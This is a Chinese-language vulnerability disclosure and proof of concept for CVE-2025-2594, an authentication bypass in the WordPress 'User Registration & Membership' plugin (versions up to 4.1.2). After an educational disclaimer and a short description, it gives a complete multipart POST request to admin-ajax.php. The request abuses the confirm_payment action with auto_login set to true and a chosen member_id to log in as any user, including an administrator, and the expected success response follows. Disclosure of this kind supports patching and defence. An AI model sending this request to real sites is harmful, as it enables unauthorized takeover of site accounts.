CVE-2025-2594

User Registration & Membership <= 4.1.2 - 身份验证绕过

免责声明！

本 CVE（通用漏洞披露）报告中的信息仅用于教育和信息目的。所述内容基于公开可用的资源、研究以及作者的分析。本文内容无意宣扬或鼓励任何非法活动，包括黑客攻击、漏洞利用或未经授权访问系统。

作者不对任何滥用本文信息的行为承担任何责任。建议个人和组织负责任地应用这些知识，并遵守适用的法律法规。强烈建议读者仅在获得适当授权的受控环境中测试漏洞。

本报告的作者和贡献者不认可或支持恶意活动，并鼓励负责任地披露漏洞和遵循道德的黑客实践。

---

描述

在“User Registration & Membership”WordPress 插件中发现了一个严重的安全漏洞，该插件是用于创建会员网站和注册表单的常用工具。该漏洞被标识为 CVE-2025-2594，CVSS 评分为 8.1，表明其具有较高严重性。

WordPress 的 User Registration & Membership 插件在 4.1.2（含）及之前版本中存在身份验证绕过漏洞。这是由于 'confirm_payment()' 函数中的身份验证不正确所致。这使得未经身份验证的攻击者能够登录站点上的现有用户，甚至是管理员，但需满足以下条件：

1. 该插件已激活会员附加组件（membership add-on）

---

PoC（概念验证）

1. 在注册页面获取 _confirm_payment_nonce
2. 示例请求数据
   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   User-Agent: PostmanRuntime/7.43.3
   Accept: */*
   Postman-Token: b41b34c8-c1c9-4e3a-aa4f-380706626e7a
   Host: hackthebox.test
   Accept-Encoding: gzip, deflate, br
   Connection: keep-alive
   Content-Type: multipart/form-data; boundary=--------------------------705549092016875046023302
   Content-Length: 565
   
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="action"
   
   user_registration_membership_confirm_payment
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="security"
   
   CONFIRM_PAYMENT_NONCE
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="form_response"
   
   { "auto_login": true }
   ----------------------------705549092016875046023302
   Content-Disposition: form-data; name="member_id"
   
   1
   ----------------------------705549092016875046023302--
   

3. 响应应如下所示
   root@kitploit:~

   {"success":true,"data":{"message":null}}
   

4. 示例响应

---

参考

1. https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/user-registration/user-registration-membership-412-authentication-bypass
2. https://plugins.trac.wordpress.org/browser/user-registration/tags/4.1.1/modules/membership/includes/AJAX.php#L566
3. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/AJAX.php
4. https://plugins.trac.wordpress.org/changeset/3262077/user-registration/trunk/modules/membership/includes/Admin/Services/MembersService.php

---

致谢

• https://saweria.co/ubaii
• https://buymeacoffee.com/ubaii
• https://trakteer.id/ubaii